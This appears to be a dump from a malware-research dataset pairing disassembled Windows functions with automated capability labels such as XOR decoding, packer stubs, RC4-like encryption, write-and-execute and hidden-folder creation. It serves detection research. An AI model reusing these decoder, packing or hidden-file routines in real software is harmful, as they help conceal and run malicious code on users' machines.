joyce8/EMBER2024-capa huggingface dataset:
Function at 0x529112
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x31
call 0x5058fe
push esi
adc byte [edx + 0x621f85cb], al
shr dword [esi + esi*2], 0xfd
mov ch, byte [edi]
and bl, 0x38
xor bl, byte [ebx]
out dx, eax
push ebp
sbb eax, 0x51ff4e30
push ebx
aaa
push ss
jo fcn.00529112
imul edi, dword [ecx], 0x43
popal
adc dword [esi + ebp], edi
pop ds
jmp 0x529110

Function at 0x5a4a7e
Capabilities:
Encode data using xor

Disassembly:
movsx ax, bl
push 0x9c110ea2
mov eax, dword [esp + 0x4c]
jmp 0x525063
pushal
jmp 0x530f0c
jmp 0x5bfa9a
bt dx, 1
stc
jbe 0x59ffa0
cmp ecx, dword [ebp - 8]
pushal
pushal
push 0xd147e1b9
mov word [esp + 8], 0xaa6d
lea esp, [esp + 0x44]
jbe 0x5003c6
inc di
sub ecx, 1
not di
mov dword [ebp - 4], ecx
bsr cx, ax
clc
rcr si, 3
sar ch, 4
mov ecx, dword [ebp - 8]
rol di, 1
rcl si, 0xb
add ecx, dword [ebp - 4]
push ebp
call fcn.005a537c
cmp ecx, dword [ebp - 4]
pushfd
mov byte [esp + 4], al
call fcn.005297f3
xor al, 0xed
mov esp, eax
cwde
or al, 2
mov ds, word [edi - 0x55]
mov dword [edi], edx
xchg byte [ecx + 0x60], al
xor bl, byte [ebx]
or edx, 0xffffffa2
add ah, byte [ecx + ebp*8 - 0x73]
shr byte [edx - 0x26], 0xb4
cdq
aad 0x78
add dl, 0xba
ljmp 0xee69
test al, 0x68
das
sub bh, byte [edi + 0x35878796]
fistp qword [eax + 0x368664b9]
and edi, edx
clc
les ecx, [eax + 0x4f]
rcl dword [eax - 0x19570544], 0xcd
mov ah, 0x42
stc
cmp ch, 0xf4
push 0xb99ed4cc
cmp bx, 0xb00e
cmp ecx, dword [ebp - 8]
call fcn.00502258
cmc
adc esp, dword [edi - 0x1a]
and al, 0x20
cmp dword [ecx - 0x360da9b], ecx
cwde
rcl dword [edx + 0x2270dd89], cl
sub esi, dword [edi - 0x2a]
ror byte [ebp + 0x4b0268e5], 5
lahf
ffree st(7)
mov bh, 0x96
add al, 0x49
leave
jnp 0x59ff82
repne outsd dx, dword [esi]
hlt
lea edi, [edi + 1]
jmp 0x503d3c
lea esp, [esp + 0x50]
ja 0x505769
push ebp
lea esp, [esp + 4]
jb 0x525de9
push 0x3402c8ee
call fcn.005bf4e2
outsb dx, byte [esi]
je 0x5bfb20
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
invalid

Function at 0x5a4e41
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp + 4]
ja 0x50695b
bt dx, bp
cmp dword [ebp + 0x14], ecx
jmp 0x529700
Function at 0x438caa
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x438a14
add edi, 0xb985e30b
add esi, 0x3ed0df3a
inc edi
call fcn.00438ce6
add esi, 0x237babb4
xor dword [edx], ecx
inc edi
inc edx
add edi, 0x23540d31
cmp edx, ebx
jne fcn.00438caa
sub esi, 0x841aa0a6
ret

Function at 0x433003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43300c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x433030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x401400
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp + 0x10], 0x441030
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x23
mov dword [esp], 0
call sub.SHELL32.DLL_SHGetFolderPathA
sub esp, 0x14
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
sar eax, 0x1f
shr eax, 0x1f
lea eax, [edx + eax]
sar eax, 1
add eax, eax
sub edx, eax
mov eax, edx
add eax, 5
mov dword [esp], eax
call sym.mMxzh_jmiTv_Q
mov dword [esp + 4], 0x43e005
mov dword [esp], 0x441030
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0x43d000
mov dword [esp], 0x441030
call sub.msvcrt.dll_strcat
leave
ret

Function at 0x4015c0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.open
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
leave
ret
Function at 0x401d36
Capabilities:
Create directory
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x28c
mov dword [ebp - 0x23c], sym.EAN_Q_xWC3MxiS__GzpQ2_CneQN_Xe5iS_1i_ig5iS__i_iCK
mov dword [ebp - 0x238], 0x43c046
lea eax, [ebp - 0x234]
lea edx, [ebp - 0x18]
mov dword [eax], edx
mov edx, 0x401f6a
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0x254]
mov dword [esp], eax
call fcn.0040d0f0
add dword [0x441018], 0xfffffff9
adc dword [0x44101c], 0xffffffff
mov dword [esp + 0x10], 0x4410b0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x23
mov dword [esp], 0
mov dword [ebp - 0x250], 0xffffffff
call sub.SHELL32.DLL_SHGetFolderPathA
sub esp, 0x14
mov dword [esp + 4], 0x43e005
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_strcat
mov dword [esp + 4], str.Saaaalamm
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0
mov dword [esp], 0x4410b0
call sub.KERNEL32.DLL_CreateDirectoryA
sub esp, 8
mov dword [esp + 4], str.Mira.h
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0x10
mov dword [esp], 4
call sym.h5iQ0hzC_4iQ_iQ_A_jxP_AM_hYudz4hi_AvT4iQehM0hYd
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4410b0
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sym.Q_kt_Qiit_i_itUCMiiMetS_kt_Qiit_phL_Q_iDG0
mov dword [esp + 4], 8
mov dword [esp], 4
call sym.h5iQ0hzC_4iQ_iQ_A_jxP_AM_hYudz4hi_AvT4iQehM0hYd
mov dword [esp + 8], eax
mov dword [esp + 4], 0x43d040
lea eax, [ebp - 0x218]
mov dword [esp], eax
mov dword [ebp - 0x250], 2
call sym.Q_kt_Qiit_i_itUCMiiMetS_kt_Qiit_phL_Q_iDG0
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 0
mov eax, dword [ebp - 0x220]
mov edx, dword [ebp - 0x21c]
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], edx
mov edx, dword [ebp - 0x25c]
cmp edx, dword [0x44101c]
jg 0x401f2b
mov eax, dword [ebp - 0x25c]
cmp eax, dword [0x44101c]
jl 0x401ed0
mov edx, dword [ebp - 0x260]
cmp edx, dword [0x441018]
jae 0x401f2b
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x218]
mov dword [esp], eax
mov dword [ebp - 0x250], 1
call sym.ii:XiiQ:Xii:Xii:Xii:Xii:XiiY:Xii_:
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x118]
add eax, 8
mov dword [esp], eax
call sym.kg7eKzkUxtzjKKO_o4kUWWB
lea eax, [ebp - 0x220]
add dword [eax], 1
adc dword [eax + 4], 0
jmp 0x401e8e
lea eax, [ebp - 0x218]
mov dword [esp], eax
mov dword [ebp - 0x250], 1
call sym.CtesQQiQzzYSmS_qK_Xiw_htUCMtiiMeS_kta_OhxziQ_k
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sym.CtesQQiQzzYSmS_qK_Xiw_htUCMtiiMeS_kta_OhxziQ_k
mov dword [esp + 4], 2
mov dword [esp], 0x4410b0
call sub.KERNEL32.DLL_SetFileAttributesA
sub esp, 8
jmp 0x401fb6
lea eax, [ebp - 0x218]
mov dword [esp], eax
mov dword [ebp - 0x250], 2
call sym.XHXzNK_C_qQ_vDQ5iyyv_QfgQzCziC_YS___iCfaS56Qi
jmp 0x402018
lea eax, [ebp - 0x118]
mov dword [esp], eax
mov dword [ebp - 0x250], 0xffffffff
call sym.XHXzNK_C_qQ_vDQ5iyyv_QfgQzCziC_YS___iCfaS56Qi
lea eax, [ebp - 0x254]
mov dword [esp], eax
call fcn.0040d1d0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4040a0
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call dword [sym.imp.KERNEL32.DLL_TlsAlloc]
cmp eax, 0xffffffff
je 0x4040d6
mov dword [0x4451d0], eax
mov edx, sym.unk_466
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.0040cb80
test eax, eax
sete al
movzx eax, al
mov dword [0x43d0f0], eax
leave
ret
call dword [sym.imp.KERNEL32.DLL_GetLastError]
test eax, eax
sete al
movzx eax, al
mov dword [0x43d0f0], eax
leave
ret

Function at 0x4041c0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp - 0xc]
sub esp, 0x68
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], esi
mov dword [ebp - 4], edi
mov dword [ebp - 0x28], sym.EAN_Q_xWC3MxiS__GzpQ2_CneQN_Xe5iS_1i_ig5iS__i_iCK
mov dword [ebp - 0x24], 0x43c6d4
mov dword [ebp - 0x1c], 0x404280
mov dword [ebp - 0x18], esp
mov dword [esp], eax
call fcn.0040d0f0
cmp dword [0x43d0f0], 0
mov dword [ebp - 0x44], 0x4451e0
je 0x404260
jl 0x4042a0
mov dword [ebp - 0x3c], 1
mov eax, dword [0x4451d0]
mov dword [ebp - 0x4c], eax
mov eax, dword [sym.imp.KERNEL32.DLL_GetLastError]
call eax
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_TlsGetValue]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x50]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_SetLastError]
mov eax, dword [ebp - 0x54]
sub esp, 4
test eax, eax
mov dword [ebp - 0x48], eax
je 0x404343
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x44], eax
lea esi, [esi]
lea eax, [ebp - 0x40]
mov dword [esp], eax
call fcn.0040d1d0
mov eax, dword [ebp - 0x44]
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov edx, dword [0x4457f0]
mov eax, 0xffffffff
test edx, edx
je 0x4042ba
mov eax, dword [0x43d0f4]
test eax, eax
je 0x4042fa
xor eax, eax
test eax, eax
jne 0x4042f0
mov edi, dword [0x43d0f0]
test edi, edi
js 0x4042f0
mov dword [ebp - 0x44], 0x4451e0
mov ebx, dword [0x43d0f0]
test ebx, ebx
je 0x404260
jmp 0x40420e
xor esi, esi
mov dword [0x43d0f0], esi
jmp 0x4042c8
mov dword [esp], 0x43d0f8
mov dword [ebp - 0x3c], 1
call sub.KERNEL32.DLL_InterlockedIncrement
sub esp, 4
test eax, eax
je 0x404381
mov eax, dword [0x43d0f4]
test eax, eax
jne 0x4042b8
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.DLL_Sleep]
mov dword [ebp - 0x3c], 1
call eax
sub esp, 4
mov eax, dword [0x43d0f4]
test eax, eax
je 0x40431d
jmp 0x4042b8
mov dword [esp], 8
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x48], eax
test eax, eax
je 0x404375
mov dword [esp + 4], eax
mov eax, dword [0x4451d0]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_TlsSetValue]
sub esp, 8
xor edx, edx
test eax, eax
je 0x4043aa
test edx, edx
je 0x404395
mov dword [ebp - 0x3c], 1
call sym.unk_455
call sym.unk_467
mov eax, 1
mov dword [0x43d0f4], eax
jmp 0x4042b8
mov eax, dword [ebp - 0x48]
mov dword [eax], 0
mov dword [eax + 4], 0
jmp 0x404256
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov edx, eax
jmp 0x404371
Function at 0x4099f0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
lea esi, [esi]
lea edi, [edi]
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym.unk_613
mov dword [esp], eax
mov dword [esp + 8], esi
mov dword [esp + 4], edi
call sub.msvcrt.dll__read
cmp eax, 0xffffffff
mov ebx, eax
jne 0x409a3c
call sub.msvcrt.dll__errno
cmp dword [eax], 4
je 0x409a10
add esp, 0x1c
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40ca20
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov eax, 0x10
mov ebp, esp
push ebx
sub esp, 0x64
and esp, 0xfffffff0
call fcn.0040db40
call fcn.0040cc80
call sub.KERNEL32.DLL_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x58]
mov dword [esp], eax
call sub.KERNEL32.DLL_GetStartupInfoA
sub esp, 4
test ebx, ebx
jne 0x40ca58
jmp 0x40caf6
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
or eax, edx
test al, 1
jne 0x40ca57
cmp cl, 0x22
je 0x40cab0
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
je 0x40cad0
lea esi, [esi]
lea edi, [edi]
test cl, cl
je 0x40cad0
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
jne 0x40ca90
jmp 0x40cad0
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x22
setne al
xor edx, edx
test cl, cl
setne dl
test eax, edx
jne 0x40cab0
cmp cl, 0x22
je 0x40cb32
lea esi, [esi]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
jmp 0x40caf0
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete dl
cmp cl, 9
sete al
or eax, edx
test al, 1
jne 0x40cae0
mov dword [esp], 0
call sub.KERNEL32.DLL_GetModuleHandleA
sub esp, 4
test byte [ebp - 0x2c], 1
mov edx, 0xa
je 0x40cb14
movzx edx, word [ebp - 0x28]
mov dword [esp + 8], ebx
xor ebx, ebx
mov dword [esp + 4], ebx
mov dword [esp + 0xc], edx
mov dword [esp], eax
call sym._iX5i_i5ii4iQh5iQ0hzC_4iQ_iQ_A_jxP_A
sub esp, 0x10
mov ebx, dword [ebp - 4]
leave
ret
inc ebx
movzx ecx, byte [ebx]
jmp 0x40cad0

Function at 0x40cfe0
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov ebx, dword [0x445850]
call dword [sym.imp.KERNEL32.DLL_TlsAlloc]
cmp eax, 0xffffffff
je 0x40d020
mov dword [ebx + 0x2c], eax
xor eax, eax
mov dword [esp + 4], eax
mov eax, dword [ebx + 0x2c]
mov dword [esp], eax
call fcn.0040cb80
test eax, eax
sete al
movzx eax, al
mov dword [ebx + 0x30], eax
add esp, 0x14
pop ebx
pop ebp
ret
call dword [sym.imp.KERNEL32.DLL_GetLastError]
test eax, eax
sete al
movzx eax, al
mov dword [ebx + 0x30], eax
add esp, 0x14
pop ebx
pop ebp
ret
Function at 0x40a15c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [ebp + 0xc]
mov word [ebp + 0xc], ax
mov ebx, 0x19826993
mov eax, ebx
mul ebx
mov dword [ebp - 0x10], eax
mov ebx, eax
xor esi, esi
mov eax, ebx
mul ebx
mov dword [ebp - 0x14], eax
mov ebx, eax
mov word [ebp - 0xc], 0
jmp 0x40a272
mov eax, ebx
xor eax, ebx
mov ebx, eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.00405066
pop ecx
mov edx, eax
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
jne 0x40a1b3
mov byte [ebp - 2], 0
jmp 0x40a1dd
call fcn.0040ddd8
mov dword [ebp - 0x18], eax
mov eax, 0x7fff
mov edi, 7
movzx edx, byte [ebp - 1]
mov ecx, edi
sub ecx, edx
cdq
idiv ecx
mov ecx, eax
mov eax, dword [ebp - 0x18]
cdq
idiv ecx
mov edx, eax
mov byte [ebp - 2], dl
mov eax, dword [ebp + 8]
mov al, byte [esi + eax]
cmp al, 0x70
jb 0x40a1fc
cmp al, 0x7f
ja 0x40a1fc
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, dword [ebp + 8]
movzx eax, byte [esi + eax]
cmp eax, 0xe2
jne 0x40a21b
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 8
push 0x90
lea eax, [ebp - 0xa]
push eax
call fcn.0040ddc0
movzx eax, byte [ebp - 1]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
lea eax, [ebp - 0xa]
movzx edx, byte [ebp - 2]
add eax, edx
push eax
call fcn.0040ddb4
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 6
lea eax, [ebp - 0xa]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.0040ddb4
add esp, 0x24
mov eax, ebx
add eax, ebx
mov ebx, eax
add esi, 6
inc word [ebp - 0xc]
movzx eax, word [ebp + 0xc]
dec eax
cmp esi, eax
jb 0x40a190
pop edi
pop esi
pop ebx
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
popal
nop
nop
nop
jmp fcn.00401219
Function at 0x4013e4
Capabilities:
Write file on windows

Disassembly:
push edi
push esi
push ebx
sub esp, 0x460
mov dword [esp + 0x60], 0x6f727245
mov dword [esp + 0x64], 0x203a72
lea edi, [esp + 0x68]
mov ecx, 0x3f8
xor eax, eax
rep stosb byte es:[edi], al
lea edi, [esp + 0x2c]
mov esi, section..data
mov cl, 0xd
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x470]
mov eax, dword [esp + eax*4 + 0x2c]
mov dword [esp + 4], eax
lea ebx, [esp + 0x60]
mov dword [esp], ebx
call sub.KERNEL32.dll_lstrcatA
sub esp, 8
mov dword [esp + 4], 0x41102a
mov dword [esp], ebx
call sub.KERNEL32.dll_lstrcatA
sub esp, 8
mov dword [esp], ebx
call sub.KERNEL32.dll_lstrlenA
push esi
mov esi, eax
mov dword [esp], 0xfffffff4
call sub.KERNEL32.dll_GetStdHandle
push edi
mov dword [esp + 0x10], 0
lea edx, [esp + 0x28]
mov dword [esp + 0xc], edx
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.KERNEL32.dll_WriteFile
sub esp, 0x14
mov dword [esp], 1
call sub.KERNEL32.dll_ExitProcess

Function at 0x40159c
Capabilities:
Accept command line arguments

Disassembly:
push esi
push ebx
sub esp, 0x14
mov esi, dword [esp + 0x20]
call sub.KERNEL32.dll_GetCommandLineA
mov dword [esp + 4], esi
mov dword [esp], eax
call sub.msvcrt.dll_strstr
mov ebx, eax
test eax, eax
je 0x4015d4
mov dword [esp], esi
call sub.KERNEL32.dll_lstrlenA
push esi
add ebx, eax
mov dl, byte [ebx]
cmp dl, 0x22
je 0x4015ec
nop
test dl, dl
jne 0x4015dc
mov eax, ebx
add esp, 0x14
pop ebx
pop esi
ret
cmp dl, 0x20
je 0x4015e6
cmp dl, 9
jne 0x4015d4
inc ebx
mov dl, byte [ebx]
jmp 0x4015d0
mov dl, byte [ebx + 1]
inc ebx
jmp 0x4015d0
Function at 0x4034e4
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
sub esp, 0x18
mov ebx, dword [esp + 0x20]
call sub.USER32.dll_GetDesktopWindow
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.0040300c
mov dword [esp + 4], ebx
mov dword [esp], 0x4033f8
call sub.USER32.dll_EnumWindows
sub esp, 8
add esp, 0x18
pop ebx
ret

Function at 0x403e94
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x2c
mov eax, dword [esp + 0x34]
mov edx, dword [eax + 0x100]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], 0
mov edx, dword [eax + 0xfc]
mov dword [esp + 0xc], edx
mov eax, dword [eax + 0xf8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
cmp eax, 0x20
jle 0x403ee4
add esp, 0x2c
ret
mov dword [esp + 0x30], 0xb
add esp, 0x2c
jmp fcn.004013e4

Function at 0x40d2f0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x28
mov ebx, dword [sym.imp.msvcrt.dll__iob]
lea eax, [esp + 0x34]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
add ebx, 0x40
mov dword [esp + 0xc], ebx
mov dword [esp], str.Mingw_runtime_failure:_n
mov dword [esp + 0x1c], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x1c]
mov dword [esp], ebx
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]
lea edi, [edi]

Function at 0x40d350
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 0x5c
mov dword [esp + 0x4c], ebx
mov ebx, eax
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
mov dword [esp + 0x50], esi
mov esi, edx
mov dword [esp + 0x54], edi
mov edi, ecx
mov dword [esp + 0x58], ebp
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x40d446
mov eax, dword [esp + 0x38]
cmp eax, 4
jne 0x40d3c0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
mov ebx, dword [esp + 0x4c]
mov esi, dword [esp + 0x50]
mov edi, dword [esp + 0x54]
mov ebp, dword [esp + 0x58]
add esp, 0x5c
ret
cmp eax, 0x40
je 0x40d395
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov eax, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
cmp eax, 0x40
setne byte [esp + 0x1e]
cmp eax, 4
setne byte [esp + 0x1f]
call sub.msvcrt.dll_memcpy
cmp byte [esp + 0x1f], 0
je 0x40d3a5
cmp byte [esp + 0x1e], 0
je 0x40d3a5
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
jmp 0x40d3a5
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.0040d2f0
nop
Function at 0x40d6e0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x41cc34
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x41cc4c]
sub esp, 4
test ebx, ebx
je 0x40d72b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call fcn.0040eca4
test eax, eax
jne 0x40d724
test esi, esi
je 0x40d724
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x40d700
mov dword [esp], 0x41cc34
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x40d9fc
Capabilities:
Set thread local storage value

Disassembly:
push ebx
sub esp, 0x18
mov ebx, eax
mov eax, dword [0x41cc5c]
test eax, eax
je 0x40da34
mov dword [esp + 4], ebx
mov eax, dword [eax]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsSetValue
sub esp, 8
test eax, eax
je 0x40da28
add esp, 0x18
pop ebx
ret
add esp, 0x18
pop ebx
jmp fcn.0040eca4
call fcn.0040d9d8
mov dword [0x41cc5c], eax
jmp 0x40da0b

Function at 0x40da64
Capabilities:
Allocate thread local storage

Disassembly:
push esi
push ebx
sub esp, 0x14
mov ebx, dword [0x41cc58]
test ebx, ebx
je 0x40dad4
mov esi, dword [0x41cc5c]
test esi, esi
je 0x40dac4
call sub.KERNEL32.dll_TlsAlloc
cmp eax, 0xffffffff
je 0x40daac
mov dword [esi], eax
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.0040ed60
test eax, eax
sete al
movzx eax, al
mov dword [ebx], eax
add esp, 0x14
pop ebx
pop esi
ret
call fcn.0040eca4
test eax, eax
sete al
movzx eax, al
mov dword [ebx], eax
add esp, 0x14
pop ebx
pop esi
ret
call fcn.0040d9d8
mov esi, eax
mov dword [0x41cc5c], eax
jmp 0x40da7d
call fcn.0040da40
mov ebx, eax
mov dword [0x41cc58], eax
jmp 0x40da73
Function at 0x40dc58
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push edi
push esi
push ebx
sub esp, 0x10
mov ebx, dword [esp + 0x20]
mov eax, dword [0x41cc58]
test eax, eax
je 0x40dd1c
mov edi, dword [eax]
test edi, edi
js 0x40dd10
mov eax, dword [0x41cc58]
test eax, eax
je 0x40dd2c
mov esi, dword [eax]
test esi, esi
je 0x40dce0
mov eax, dword [0x41cc5c]
test eax, eax
je 0x40dd5c
mov edi, dword [eax]
call fcn.0040eca4
mov esi, eax
mov dword [esp], edi
call sub.KERNEL32.dll_TlsGetValue
push edx
mov edi, eax
mov dword [esp], esi
call sub.KERNEL32.dll_SetLastError
push ecx
mov dword [ebx], edi
mov eax, dword [0x41cc5c]
test eax, eax
je 0x40dd04
mov dword [esp + 4], ebx
mov eax, dword [eax]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsSetValue
sub esp, 8
test eax, eax
je 0x40dcf8
add esp, 0x10
pop ebx
pop esi
pop edi
ret
mov eax, dword [0x41cc60]
test eax, eax
je 0x40dd3c
mov edx, dword [eax]
mov dword [ebx], edx
mov dword [eax], ebx
add esp, 0x10
pop ebx
pop esi
pop edi
ret
add esp, 0x10
pop ebx
pop esi
pop edi
jmp fcn.0040eca4
call fcn.0040d9d8
mov dword [0x41cc5c], eax
jmp 0x40dcc1
call fcn.0040db08
jmp 0x40dc79
call fcn.0040da40
mov dword [0x41cc58], eax
jmp 0x40dc6f
call fcn.0040da40
mov dword [0x41cc58], eax
jmp 0x40dc86
call fcn.0040d9b4
mov dword [0x41cc60], eax
mov edx, dword [eax]
mov dword [ebx], edx
test eax, eax
jne 0x40dced
call fcn.0040d9b4
mov dword [0x41cc60], eax
mov dword [eax], ebx
jmp 0x40dcef
call fcn.0040d9d8
mov dword [0x41cc5c], eax
jmp 0x40dc99

Function at 0x40dd6c
Capabilities:
Set thread local storage value

Disassembly:
push ebx
sub esp, 8
mov eax, dword [esp + 0x10]
mov ebx, dword [eax]
mov eax, dword [0x41cc58]
test eax, eax
je 0x40ddb8
mov eax, dword [eax]
test eax, eax
js 0x40ddb0
mov eax, dword [0x41cc58]
test eax, eax
je 0x40ddc4
mov eax, dword [eax]
test eax, eax
je 0x40dda0
mov eax, ebx
add esp, 8
pop ebx
jmp fcn.0040d9fc
mov eax, dword [0x41cc60]
test eax, eax
